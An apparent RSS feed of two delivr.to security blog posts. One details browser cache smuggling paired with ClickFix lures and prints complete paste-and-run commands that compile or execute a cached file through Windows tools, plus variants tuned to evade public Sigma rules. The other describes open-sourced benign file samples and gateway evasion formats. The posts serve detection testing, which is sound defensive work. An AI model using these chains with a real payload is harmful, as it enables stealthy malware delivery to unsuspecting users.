<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by delivr.to on Medium]]></title>
        <description><![CDATA[Stories by delivr.to on Medium]]></description>
        <link>https://medium.com/@delivrto?source=rss-1242be189bc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*tPw5vhej02IQk7SGTNWSmg.png</url>
            <title>Stories by delivr.to on Medium</title>
            <link>https://medium.com/@delivrto?source=rss-1242be189bc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 05:31:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@delivrto/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Cache and Carry: From browser cache to code execution]]></title>
            <link>https://medium.com/@delivrto/cache-and-carry-from-browser-cache-to-code-execution-e1a969444947?source=rss-1242be189bc------2</link>
            <guid isPermaLink="false">https://medium.com/p/e1a969444947</guid>
            <category><![CDATA[adversary-emulation]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[delivr.to]]></dc:creator>
            <pubDate>Wed, 18 Nov 2026 09:01:05 GMT</pubDate>
            <atom:updated>2026-11-18T09:19:11.604Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s9kHvs38gLTXIbo0LiQ0uw.jpeg" /></figure><ul><li>A web page can place a payload on disk through the browser cache, with no download prompt and no Mark of the Web.</li><li>A ClickFix paste can then run it with a signed, built-in Windows tool, and the pasted command contains no URL.</li><li>The tool does not have to be a compiler. We built seven benign recipes, four that compile the cached file (Add-Type with C# and VB.NET, MSBuild and csc.exe) and three that reach execution through a script host or assembler instead (wscript, mshta and ilasm), and all seven ran in Chrome and Edge in our lab environment.</li><li>All seven recipes are available to download and/or access live, for free, over on the <a href="https://delivr.to/">delivr.to</a> platform, so you can test whether your controls see them. <a href="https://delivr.to/payloads?tab=payloads&amp;q=cachesmuggling">See them all here</a>.</li></ul><h3>Background</h3><p>Cache smuggling is not new. SensePost <a href="https://sensepost.com/blog/2023/browsers-cache-smuggling/">described it in 2023</a> and <a href="https://sensepost.com/blog/2025/browser-cache-smuggling-the-return-of-the-dropper/">returned to it in 2025</a>, and <a href="https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/">Expel documented</a> a FortiClient-themed chain using it in the wild. Compiling a payload on the host is just as established, with recent ClickFix campaigns tracked by <a href="https://www.cloudsek.com/blog/fileless-asyncrat-distributed-via-clickfix-technique-targeting-german-speaking-users">CloudSEK</a>, <a href="https://reliaquest.com/blog/threat-spotlight-deepload-malware-pairs-clickfix-delivery-with-ai-generated-evasion/">ReliaQuest</a> and <a href="https://github.com/Wortexz/ClickFix-NodeRAT">Wortexz</a> compiled C# or VB.NET through Add-Type.</p><p>This post covers the intersection of the two, getting a payload onto the host through the browser and then running or compiling it with the LOLBINs you’ll already be familiar with.</p><h3>Getting bytes into the cache</h3><p>Any response a browser fetches can land in its HTTP disk cache. On Windows, Chrome and Edge use the Chromium blockfile cache under %LOCALAPPDATA%\&lt;vendor&gt;\&lt;browser&gt;\User Data\&lt;Profile&gt;\Cache\Cache_Data, where a body over 16 KiB is written to its own f_XXXXXX file byte for byte, with no header and no framing. A 40 KiB response of source code therefore lands as a standalone file whose contents are exactly the source, at a predictable path, with no download event, no Zone.Identifier stream and nothing in Downloads.</p><p>There were three interesting things worth noting:</p><ol><li><strong>Use </strong><strong>fetch(), not </strong><strong>&lt;img&gt;.</strong> An image element truncated the body; fetch() with mode: &quot;no-cors&quot; stored it whole.</li><li><strong>Serve it uncompressed.</strong> Served as image/png, CloudFront left the stored body alone.</li><li><strong>Pad past 16 KiB.</strong> Our carriers are 40,960 bytes, to force a standalone f_ file.</li></ol><p>Firefox appends its metadata after the body, so recipes that need the file to be clean will only work in Chrome and Edge.</p><h3>Getting the cache into a compiler</h3><p>The pasted command doesn’t download anything. It enumerates f_* files across every Chromium profile with a wildcard path, finds the right one by a marker string, and hands the file, whole or a carved section, to a built-in tool. None of the LOLBINs we used in this research seemed to check Mark of the Web, and to be fair, none of the files we read from the cache seemed to have the mark anyway.</p><p>The consumer also doesn’t need to be a compiler. Any tool that takes a file path and runs or builds its contents works on the same cache file, so a script host runs a cached script and the IL assembler builds a cached assembly. The recipes below cover both families.</p><h3>The lure</h3><p>All seven recipes share the same ClickFix lure, a “Checking your browser” page behind a cookie banner. Accepting cookies reveals an “I’m not a robot” checkbox and the three steps (Win+R, Ctrl+V, Enter). The command is copied to the clipboard only on a trusted click, so synthetic clicks are ignored, and it ends in a # Verification ID: &lt;n&gt; comment, which is what the user sees in the Run dialog. That dialog accepts up to 259 characters, and as always with <a href="https://delivr.to/">delivr.to</a> payloads, they’re all benign and just show a message box when executed.</p><h3>1. Cache smuggling with Add-Type (C#)</h3><p>The carrier is C# source between &lt;DLVR&gt; and &lt;/DLVR&gt; markers, padded to 40,960 bytes and served as a .png. The pasted command reads each cache file, extracts the marked section with a regular expression and compiles it with Add-Type.</p><pre>powershell -w hidden -c &quot;gci $env:LOCALAPPDATA&#39;\*\*\User Data\Default\Cache\Cache_Data\f_*&#39;|%{if([IO.File]::ReadAllText($_.FullName)-match&#39;(?s)&lt;DLV[R]&gt;(.+?)&lt;/DLV[R]&gt;&#39;){Add-Type $matches[1];[DelivrTo]::Run();break}}&quot; # Verification ID: 338075</pre><p>The [R] character class means the lure page never contains the literal marker, so the page&#39;s own cache entry cannot match. The command is 241 characters.</p><p>The carrier was stored as a standalone f_ file, byte-identical to the served file. The message box appeared two to three seconds after Enter. The process chain was explorer.exe → powershell.exe → csc.exe /noconfig /fullpaths @&lt;temp&gt;.cmdline → cvtres.exe. Defender at its defaults raised no detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jMCEGyIDDkBigw7D6WYddQ.png" /><figcaption><a href="https://delivr.to/payloads/40d666d0-ffe9-4591-8cfe-5571a1f68de9">https://delivr.to/payloads/40d666d0-ffe9-4591-8cfe-5571a1f68de9</a></figcaption></figure><p>This chain matches the shape of the in-the-wild reporting. The cache replaces the network fetch that CloudSEK and ReliaQuest observed in the pasted command.</p><h3>2. Cache smuggling with Add-Type (VB.NET)</h3><p>This is the same chain with VB.NET source, as in the NodeRAT campaign. The VB.NET recipe uses different markers so the two recipes can never pick up each other’s carrier.</p><pre>powershell -w h -c &quot;gci $env:LOCALAPPDATA&#39;\*\*\User Data\Default\Cache\Cache_Data\f_*&#39;|%{if([IO.File]::ReadAllText($_.FullName)-match&#39;(?s)&lt;DLV[B]&gt;(.+?)&lt;/DLV[B]&gt;&#39;){Add-Type $matches[1] -Language VisualBasic;[DlVb]::Run();break}}&quot; # Verification ID: 961797</pre><p>-Language VisualBasic pushes a direct port of the C# command to 263 characters, over the Run dialog limit. Shortening -w hidden to -w h and the class name brought it to 254. -L is not a usable abbreviation because PowerShell reports it as ambiguous between -Language and -LiteralPath, but -La works.</p><p>Both browsers passed, with the message box after two to three seconds, and Defender at its defaults raised no detection. The chain was powershell.exe → vbc.exe /noconfig @&lt;temp&gt;.cmdline → cvtres.exe. Most legitimate Add-Type use is C#, so vbc.exe under PowerShell is the more distinctive of the two signals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HBG-ebApSELeHgZZ146VyA.png" /><figcaption><a href="https://delivr.to/payloads/9cfa1c31-85ef-4641-8aaa-dc3cf4d1ae6e">https://delivr.to/payloads/9cfa1c31-85ef-4641-8aaa-dc3cf4d1ae6e</a></figcaption></figure><h3>3. MSBuild directly on a cache file</h3><p>This is <a href="https://delivr.to/">delivr.to</a> research and has not been observed in the wild.</p><p>The carrier here is itself a complete MSBuild project. The padding sits in an XML element rather than a comment, so the file remains valid XML. Because the blockfile cache stores it unchanged, the f_ file is a buildable project. The pasted command locates it by marker and passes the cache file to MSBuild in place.</p><pre>powershell -w hidden -c &quot;gci $env:LOCALAPPDATA&#39;\*\*\User Data\Default\Cache\Cache_Data\f_*&#39;|sls &#39;DLV[R]MSBZC&#39; -List|%{&amp;($env:windir+&#39;\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe&#39;) /nologo /noconlog $_.Path;break}&quot; # Verification ID: 597357</pre><p>MSBuild does not require a project extension when given an explicit path. Nothing is carved, copied or renamed. The chain was powershell.exe → MSBuild.exe /nologo /noconlog &lt;...&gt;\Cache\Cache_Data\f_000001 → csc.exe → cvtres.exe, and the message box appeared after about six seconds in both browsers.</p><p>With Defender at its defaults, the pasted command was blocked as Trojan:Win32/Commando.B!ml before PowerShell started. The cmd-only form of the same chain, covered under the worked examples below, is a different command line.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SHsPxAdWKGpYLiyhQnuOdg.png" /><figcaption><a href="https://delivr.to/payloads/f571f64a-98b4-4e5a-b4b6-43030c591f1f">https://delivr.to/payloads/f571f64a-98b4-4e5a-b4b6-43030c591f1f</a></figcaption></figure><p>The distinguishing artefact is an MSBuild command line that points at an extensionless file inside a browser cache directory, which most legitimate builds don’t do!</p><h3>4. csc.exe directly on a cache file</h3><p>This is <a href="https://delivr.to/">delivr.to</a> research and has not been observed in the wild.</p><p>The carrier is a complete C# source file, with padding inside a block comment. The pasted command passes the cache file to csc.exe, writes the executable to %TEMP%, and runs it.</p><pre>powershell -w hidden -c &quot;cd $env:windir\Microsoft.NET\Framework64\v4*;gci $env:LOCALAPPDATA&#39;\*\*\User Data\Default\Cache\Cache_Data\f_*&#39;|sls &#39;DLV[R]_CSC&#39;|%{$e=$env:TEMP+&#39;\dlvr.exe&#39;;.\csc /t:winexe /out:$e $_.Path;&amp;$e;break}&quot; # Verification ID: 358668</pre><p>Before building this, we checked whether the .NET Framework compilers accept input without a source extension. csc.exe, vbc.exe and jsc.exe all compiled an extensionless file with exit code 0 and no warning. A wildcard such as f_* is not a usable shortcut because the compiler then also reads binary cache entries and fails.</p><p>The chain was powershell.exe → csc.exe /t:winexe /out:%TEMP%\dlvr.exe &lt;...&gt;\Cache\Cache_Data\f_000001 → cvtres.exe, then dlvr.exe, with the message box after about four seconds in both browsers. The compiler reads the cache file in place.</p><p>With Defender at its defaults, the pasted command was blocked as Trojan:Win32/Commando.B!ml before PowerShell started, and the user sees &quot;Windows cannot access the specified device, path, or file&quot;. The Add-Type recipes, which also start csc.exe, were not detected, so the explicit csc /out on the command line is the likely trigger. This recipe is useful for confirming that control is effective in a given environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LciFXHQNSC70rvw4bsvtkg.png" /><figcaption><a href="https://delivr.to/payloads/c98cabb0-2b7e-4432-81cd-00f583377e00">https://delivr.to/payloads/c98cabb0-2b7e-4432-81cd-00f583377e00</a></figcaption></figure><h3>5. Cache smuggling with a script host (wscript, JScript)</h3><p>This is <a href="https://delivr.to/">delivr.to</a> research. The closest in-the-wild case is Microsoft’s October 2026 chain, which copied the cached file to t.vbs and ran it with wscript. This recipe removes the copy.</p><p>The carrier is a complete JScript file, padded to 40,960 bytes and served as a .png. A Chromium f_ cache body is the served bytes verbatim, so the cached file is valid script from its first byte. The pasted command finds it by marker and runs it with the Windows Script Host.</p><pre>powershell -w hidden -c &quot;gci $env:LOCALAPPDATA&#39;\*\*\User Data\Default\Cache\Cache_Data\f_*&#39;|sls &#39;DLV[R]_JS&#39;|%{wscript //e:jscript $_.Path;break}&quot; # Verification ID: 768927</pre><p>//e:jscript sets the engine explicitly, so the file needs no .js extension and nothing is carved, copied or renamed. The payload shows a message box through new ActiveXObject(&quot;WScript.Shell&quot;).Popup(...), titled with the run-ID marker. The command is 170 characters.</p><p>The chain was explorer.exe → powershell.exe → wscript.exe //e:jscript &lt;...&gt;\Cache\Cache_Data\f_000001, and the message box appeared about three seconds after Enter. The script host reads the cache file in place.</p><p>With Defender at its defaults, the pasted command was blocked as Trojan:Win32/Commando.B!ml before the script host started, the same signature that stopped the csc.exe and MSBuild recipes. The carrier still cached cleanly; the block is on the pasted command, not the delivery.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2F76wb69lRwMaUk5lOPmMA.png" /><figcaption><a href="https://delivr.to/payloads/742bf9c0-7e1d-49e8-935e-24158c52010e">https://delivr.to/payloads/742bf9c0-7e1d-49e8-935e-24158c52010e</a></figcaption></figure><p>This is the script-host analogue of the zero-carve compiler recipes. A detection scoped to csc.exe, vbc.exe or MSBuild.exe does not see it, because the consumer is wscript.exe.</p><h3>6. Cache smuggling with mshta (HTA)</h3><p>This is <a href="https://delivr.to/">delivr.to</a> research and has not been observed in the wild in this cache-native form.</p><p>The carrier is an HTA whose script shows the message box, padded so the body stays a junk-tolerant polyglot. The pasted command locates the cache file and runs it with mshta.exe.</p><pre>powershell -w hidden -c &quot;gci $env:LOCALAPPDATA&#39;\*\*\User Data\Default\Cache\Cache_Data\f_*&#39;|sls &#39;DLV[R]_HTA&#39;|%{mshta $_.Path;break}&quot; # Verification ID: 341619</pre><p>mshta’s parser skips data it does not understand, so of the three it is the most tolerant of a framed or sub-16 KB body, although here it runs on the clean Chromium f_ file. This is the shortest of all the recipes at 157 characters.</p><p>The chain was explorer.exe → powershell.exe → mshta.exe &lt;...&gt;\Cache\Cache_Data\f_000001, with the message box three to four seconds after Enter in both browsers. mshta runs the HTA straight from the cache path, with nothing written to disk.</p><p>With Defender at its defaults, the pasted command was blocked, here as Trojan:Win32/ClickFix.STW, a different signature from the compiler recipes. The carrier cached regardless.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s8dwvSkKkzXqZR8RSO1EiA.png" /><figcaption><a href="https://delivr.to/payloads/83eac31b-65ab-4bb5-b7b7-7a91c3dad294">https://delivr.to/payloads/83eac31b-65ab-4bb5-b7b7-7a91c3dad294</a></figcaption></figure><p>The signal here is mshta.exe reading a path inside a browser cache directory with no .hta extension, which normal HTA use never does.</p><h3>7. Cache smuggling with the IL assembler (ilasm)</h3><p>This is <a href="https://delivr.to/">delivr.to</a> research and has not been observed in the wild.</p><p>The carrier is .NET intermediate language assembly text. The pasted command assembles it with the .NET Framework ilasm.exe to %TEMP%\dlvr.exe and runs it. This is the csc.exe recipe&#39;s sibling with a different, less-watched .NET tool.</p><pre>powershell -w hidden -c &quot;cd $env:windir\Microsoft.NET\Framework64\v4*;gci $env:LOCALAPPDATA&#39;\*\*\User Data\Default\Cache\Cache_Data\f_*&#39;|sls &#39;DLV[R]_IL&#39;|%{$e=$env:TEMP+&#39;\dlvr.exe&#39;;.\ilasm /nologo /output:$e ($_.Path+&#39;.&#39;);&amp;$e;break}&quot; # Verification ID: 952493</pre><p>ilasm differs from csc in one way that matters here. Given a path with no extension it appends .il and then fails to open the file, so it will not read the raw f_ file the way csc does. Passing the path with a trailing dot, ($_.Path+&#39;.&#39;), makes Win32 resolve the dotless cache file while the dot counts as an empty extension, so ilasm does not append .il. The cache file is still read in place with no copy. At 258 characters the command is just inside the 259-character Run dialog limit.</p><p>The chain was explorer.exe → powershell.exe → ilasm.exe /nologo /output:%TEMP%\dlvr.exe &lt;...&gt;\Cache\Cache_Data\f_000001 → dlvr.exe, with the message box three to six seconds after Enter. The assembler reads the cache file in place and writes only the executable to %TEMP%.</p><p>With Defender at its defaults, the pasted command was blocked as Trojan:Win32/Commando.B!ml, as with csc.exe. The carrier cached either way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-_hG0bZVk2ZhCogtPW8POw.png" /><figcaption><a href="https://delivr.to/payloads/f9fb789e-777a-4075-b381-ada63d266777">https://delivr.to/payloads/f9fb789e-777a-4075-b381-ada63d266777</a></figcaption></figure><p>ilasm.exe is present in Framework, Framework64 and, on Arm64 devices, FrameworkArm64, where MSBuild is not. It assembles rather than compiles, taking IL text straight to a binary with no high-level language in between, so a control that blocks MSBuild and the C# and VB.NET compilers for standard users still leaves the IL assembler as a way to turn a cached file into a running executable unless it is named too.</p><h3>Further command obfuscation opportunities</h3><p>Every command above starts with gci, the PowerShell alias for Get-ChildItem. It lists the files matching a path and passes them down the pipeline. The command needs it because it cannot know the payload&#39;s exact path in advance, for two reasons.</p><ol><li><strong>The cache file name is not predictable.</strong> The blockfile cache names standalone bodies f_000001, f_000002 and so on in the order they are written. On a clean browser profile in our lab environment the carrier was f_000001, but on a profile with browsing history it can be any number. The command therefore lists every f_* file and keeps the one containing the marker.</li><li><strong>The browser is not known in advance.</strong> Chrome keeps its cache under Google\Chrome\User Data\... and Edge under Microsoft\Edge\User Data\.... The two wildcards in $env:LOCALAPPDATA&#39;\*\*\User Data\Default\Cache\Cache_Data\f_*&#39; cover both, along with other Chromium-based browsers that use the same layout, so one command works whichever browser opened the lure.</li></ol><p>Locating the file is a separate step from compiling it, and it can be written in many ways. gci is simply the shortest in PowerShell. The cmd-only chains <a href="https://www.crimson7.io/resources/blogs/browser-cache-smuggling-clickfix">documented by Crimson7</a>, and the locator in Microsoft&#39;s reported chain, use for /r over the cache folder with a size test or findstr, and involve no PowerShell at all. Select-String (sls) accepts a wildcard path directly, so the two recipes that hand the whole file to MSBuild or csc.exe could likely drop gci altogether; we have not tested that form. Only the Add-Type recipes need the full file text to carve the source, which gci with ReadAllText provides most simply.</p><p>The same flexibility applies to the rest of each command. Aliases, abbreviated parameters, environment variable forms of a path and the choice of locator all change the text that reaches the Run dialog, and therefore what lands in RunMRU and in process command lines, without changing the behaviour. Detections that match on the literal text of a pasted command are correspondingly easy to sidestep. What stays constant across every variant is the behaviour, where a process other than the browser enumerates and reads \User Data\*\Cache\Cache_Data\f_* and then starts a compiler or MSBuild. Browsers read their own cache, and very little else does.</p><h3>Worked examples</h3><p>To put numbers on this, we took the recipe commands and changed one thing at a time, keeping the same LOLBins and the same benign payload. Each variant was pasted through the real Run dialog in our lab environment, with Sysmon configured to log RunMRU, and the resulting events were scored against every <a href="https://github.com/SigmaHQ/sigma">SigmaHQ</a> Windows rule for process creation, registry and PowerShell script block events. The baseline Add-Type C# command matched five of them.</p><p><strong>Window flag.</strong> The public rule for suspicious Run dialog PowerShell (“Potentially Suspicious Command Executed Via Run Dialog Box”) needs powershell together with a keyword such as Hidden. -WindowStyle accepts the numeric value, so -w 1 hides the window just the same and the rule no longer matches. The VB.NET recipe&#39;s own -w h already avoids it.</p><p><strong>Lure wording.</strong> “Suspicious ClickFix/FileFix Execution Pattern” matches a process started by explorer.exe whose command line contains # and a word such as verification, captcha or robot. It detects the lure&#39;s text, not the technique. Changing the comment from # Verification ID: 338075 to # Ray ID: 338075 is enough.</p><p><strong>Temp folder.</strong> Add-Type writes its source and .cmdline file under %TEMP%, and &quot;Dynamic .NET Compilation Via Csc.EXE&quot; keys on \AppData\Local\Temp\ in the csc.exe command line. Prefixing $env:TMP=$HOME; moves the compiler&#39;s working folder to the profile root, and the rule no longer matches. The threat hunting version of the rule, which matches more broadly, still did.</p><p>Combined, these three changes and a wildcard path give the following command. It ran in Chrome and Edge and matched only two rules, the threat hunting rule that flags every Run dialog entry and the hunting rule for csc.exe started by a user-space process.</p><pre>powershell -w 1 -c &quot;$env:TMP=$HOME;gci $env:LOCALAPPDATA&#39;\*\*\U*\D*\C*\C*_D*\f_*&#39;|%{if([IO.File]::ReadAllText($_.FullName)-match&#39;(?s)&lt;DLV[R]&gt;(.+?)&lt;/DLV[R]&gt;&#39;){&amp;(gcm A*-Ty*).Name $matches[1];[DelivrTo]::Run();break}}&quot; # Ray ID: 338075</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5O_mSXB6vpxxNapxkzuLGA.png" /></figure><p><strong>Changing the shell.</strong> “Suspicious Msbuild Execution By Uncommon Parent Process” matched the MSBuild recipe, because MSBuild’s parent was PowerShell. The rule excludes cmd.exe as a parent, so a locator written entirely in cmd sidesteps it. This version uses no PowerShell at all.</p><pre>cmd /c for /r &quot;%LOCALAPPDATA%&quot; %f in (f_*) do @findstr /m /r &quot;DLV[R]MSBZC&quot; &quot;%f&quot; &gt;nul &amp;&amp; %windir%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe /nologo /noconlog &quot;%f&quot; &amp; rem Verification ID: 597357</pre><p>It ran on both browsers. It also picked up a new hit, “CMD Shell Output Redirect”, from the &gt;nul, and MSBuild&#39;s own call to csc.exe still matched both compilation rules. Changing the shell moves the hits around rather than removing them all.</p><p>Because cmd has no hidden window option, this version also leaves a console window open while it runs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*igmyItttxWRtIqtWmza84g.png" /></figure><p>Wrapping the PowerShell command in cmd /c with a caret-split p^owe^rshell, a common ClickFix pattern, went the other way. It matched seven rules instead of five, adding &quot;Non Interactive PowerShell Process Spawned&quot;, &quot;Read Contents From Stdin Via Cmd.EXE&quot; and &quot;CMD Shell Output Redirect&quot;. The last two fire on the &lt; and &gt; in the marker regular expression once it appears on a cmd command line.</p><p><strong>Behaviour held.</strong> “Visual Basic Command Line Compiler Usage” matches vbc.exe starting cvtres.exe. Add-Type -Language VisualBasic always produces that pair, so the rule matched every VB.NET variant however the command was written.</p><h3>Detection</h3><p>The pasted commands contain no URLs, no base64 and no download cradle, so detections that key on those in RunMRU or PowerShell command lines will not fire. The stronger signals are on the endpoint.</p><ul><li>A process other than the browser reading files under \User Data\*\Cache\Cache_Data\, particularly powershell.exe, cmd.exe, MSBuild.exe or a compiler.</li><li>MSBuild.exe, csc.exe, vbc.exe, jsc.exe or ilasm.exe with a command line referencing a browser cache path. ilasm.exe on a host with no development workload, and with an output path in %TEMP% beside an input under a browser cache directory, is a strong signal on its own.</li><li>A script host (wscript.exe or cscript.exe) or mshta.exe with a command line pointing into a browser cache directory, in particular //e:jscript or an extensionless file with no .hta. These binaries do not normally read the cache.</li><li>csc.exe or vbc.exe with a .cmdline response file in %TEMP%, whose parent is powershell.exe and whose grandparent is explorer.exe. This is the Add-Type pattern, and on most non-developer hosts it is rare.</li><li>RunMRU writes, which the public ClickFix rules depend on. The widely used <a href="https://github.com/SwiftOnSecurity/sysmon-config">SwiftOnSecurity Sysmon configuration</a> does not log them, so those rules cannot fire until \Explorer\RunMRU\ is added to its registry includes.</li><li>MSBuild.exe on a host with no build workload. <a href="https://blog.talosintelligence.com/building-bypass-with-msbuild/">Talos measured</a> MSBuild on about 2% of endpoints daily in 2020, which makes it a reasonable alert on its own.</li></ul><p>Where MSBuild and the .NET Framework compilers are not needed, WDAC or AppLocker rules that block them for standard users remove the four compiler chains. The three consumer recipes need wscript.exe, cscript.exe, mshta.exe and ilasm.exe blocked or constrained as well, because a rule scoped to the compilers does not cover a script host or the IL assembler.</p><h3>Conclusion</h3><p>Cache smuggling and compile-after-delivery are each established techniques. Combined, they produce a chain where the browser delivers the payload without a download, the user pastes a command with no URL, and a signed Windows tool runs or builds the result. In our lab environment, all seven recipes ran end to end. Defender at its defaults stopped five of the seven pasted commands, the MSBuild, csc.exe, wscript, mshta and ilasm recipes, but not the two Add-Type recipes, and the public Sigma rules that matched the pasted commands could each be sidestepped by a one-token change.</p><p>The useful questions for defenders are whether anything alerts when a non-browser process reads the browser cache, and whether MSBuild, the .NET compilers, the IL assembler and the script hosts are available to standard users at all. All seven recipes are available on <a href="https://delivr.to/">delivr.to</a> to test exactly that.</p><p><em>Written by James Coote</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e1a969444947" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Open-Sourcing 140+ Weaponisable File Type Samples: Test What Your Defences Actually Block]]></title>
            <link>https://medium.com/@delivrto/open-sourcing-140-weaponisable-file-type-samples-test-what-your-defences-actually-block-f682e345af3c?source=rss-1242be189bc------2</link>
            <guid isPermaLink="false">https://medium.com/p/f682e345af3c</guid>
            <dc:creator><![CDATA[delivr.to]]></dc:creator>
            <pubDate>Wed, 06 May 2026 20:17:50 GMT</pubDate>
            <atom:updated>2026-05-06T20:17:50.897Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6bXKCKk70tubfBeepLwK0Q.png" /></figure><p>Do you know which file types your email gateway actually blocks? Not which ones it claims to block — which ones it blocks when a real file hits the wire?</p><p>We’ve just open-sourced over 140 benign file type samples covering the formats most commonly weaponised by threat actors to help you answer exactly that.</p><p>No signup, no authentication, no strings attached — clone the repository and start testing.</p><p>GitHub: <a href="https://github.com/delivr-to/file-samples">https://github.com/delivr-to/file-samples</a></p><h3>What’s in the Repository</h3><p>The repository contains 142 benign samples spanning over 90 unique file extensions. Every sample is safe to run — executables display a message box, documents contain placeholder text, scripts perform harmless operations. The repository is updated weekly from the <a href="https://delivr.to/">delivr.to</a> payload library, so coverage expands as new file types are added to the platform.</p><p>The sections below highlight the samples worth paying particular attention to. The full file listing is in the repository README.</p><h3>The Ones That Slip Through</h3><p>Most gateways block <em>.exe</em>. Fewer block the alternatives that achieve the same outcome.</p><p>PIF files (<em>.pif</em>) are functionally equivalent to executables but often absent from block lists — the repository includes two variants to test whether yours catches them. JNLP and ClickOnce <em>.application</em> files are similar but take a different approach; rather than carrying a payload, they instruct the system to fetch and execute one from a remote server. Many gateways don’t inspect either format.</p><p>After Microsoft blocked VBA macros by default in 2022, threat actors shifted heavily to standalone script delivery. HTA files execute with the same privileges as a native application and have been a staple of phishing delivery chains for years, yet some gateways still treat them as HTML. AutoIt (<em>.a3x</em>, <em>.au3</em>) and AutoHotKey (<em>.ahk</em>) are frequently used in Bring-Your-Own-Interpreter delivery chains — notably by DarkGate, which bundles a legitimate interpreter alongside an encoded script.</p><h3>Obscure Office Formats</h3><p>Gateways that block <em>.docm</em> may not block <em>.dotm</em>, <em>.wll</em>, or <em>.xla</em> — all of which can execute code.</p><p>The <em>.wll</em> and <em>.xll</em> samples are compiled Nim DLLs that load automatically when Word or Excel starts. They are a persistence and execution mechanism that rarely appears on email block lists. The <em>.mam</em> file is an Access shortcut that fetches a remote database over HTTP or SMB — a delivery mechanism that has been around since Office 97 but remains obscure enough to evade some filters.</p><p>One sample renames a macro-enabled <em>.xlsm</em> to <em>.xls</em>, specifically testing whether your gateway examines file headers rather than relying solely on the extension.</p><h3>Encrypted Files</h3><p>Gateways often cannot inspect the contents of encrypted files, making them effective evasion wrappers. The repository includes password-protected variants (password: <em>infected</em>) across Word, Excel, PowerPoint, and PDF.</p><p>The most interesting sample is <em>test_velvetsweatshop_encrypted_xlsx.xlsx</em>. Microsoft Excel has a hardcoded default decryption password — <em>VelvetSweatshop</em> — that it silently applies when opening encrypted files. No password prompt appears. Threat actors use this to encrypt malicious content in a way that gateways might not be able inspect but Excel will open without any user interaction.</p><h3>Containers</h3><p>Container formats are the primary evasion mechanism in post-macro delivery. They wrap payloads in a layer that many gateways treat as opaque, and files extracted from containers can lose their Mark-of-the-Web tag — bypassing SmartScreen on execution.</p><p>The repository covers standard archives (ZIP, 7z, RAR, TAR variants, ARJ, LZH, ZPAQ) with both benign contents and packed executables or scripts, so you can test whether your gateway inspects what is inside the archive and not just the outer file type. Disk images (<em>.iso</em>, <em>.img</em>) were a prominent Mark-of-the-Web bypass vector until Microsoft patched the original issue (<a href="https://nvd.nist.gov/vuln/detail/cve-2022-41091">CVE-2022–41091</a>) in late 2022, but MotW propagation still depends on how the user interacts with the mounted image and which tools they use to extract it. The repository includes ISOs and IMGs with LNK payloads inside to test whether your stack handles them correctly.</p><p>Two concatenated ZIP samples test how different archive handlers parse ambiguous structures. One contains two ZIP archives joined together — 7-Zip displays the first archive, WinRAR displays the second, and Windows Explorer fails to open it entirely. This is a real-world technique observed in campaigns tracked in our <a href="https://blog.delivr.to/delivr-tos-top-10-payloads-dec-24-pastejacking-image-less-qr-codes-and-concatenated-zip-a32e668106dd">Dec ’24 Top 10</a>.</p><h3>Auth Coercion</h3><p>These file types coerce NTLM authentication or leak credentials with minimal user interaction — a class of attack distinct from traditional malware delivery but equally dangerous.</p><p>A Windows Theme Pack (<em>.theme</em>) with a remotely-hosted wallpaper coerces authentication when loaded — merely viewing the file in Explorer can trigger an SMB handshake, the mechanism behind <a href="https://nvd.nist.gov/vuln/detail/cve-2024-21320">CVE-2024–21320</a>. A separate Universal Data Link file (<em>.udl</em>) triggers an authentication attempt to a remote MSSQL server when the user clicks “<em>Test Connection.</em>”</p><h3>How to Use These Samples</h3><p>For email delivery testing, send each sample as an attachment to a monitored mailbox behind your production email gateway. Track which file types are delivered, quarantined, or silently dropped.</p><p>For web download testing, host the samples on an internal web server or cloud storage bucket and download them through your production proxy and endpoint stack. Observe which downloads trigger SmartScreen or endpoint alerts.</p><p>Record the results systematically. Any file type that reaches the user is a candidate for a block list addition or policy change. Retest after making changes to validate the fix.</p><h3>Beyond File Types: 800+ Payloads on delivr.to</h3><p>The samples in this repository test one layer of defence — whether your controls block the file types attackers use to deliver malicious content. Real-world attacks go further: HTML smuggling to bypass gateway inspection entirely, QR codes embedded in PDFs, authentication coercion chains, ClickFix social engineering, and full exploit delivery.</p><p>On the <a href="https://delivr.to/">delivr.to</a> platform, security teams can access over 800 payloads covering these techniques — real-world attack chain reproductions mapped to 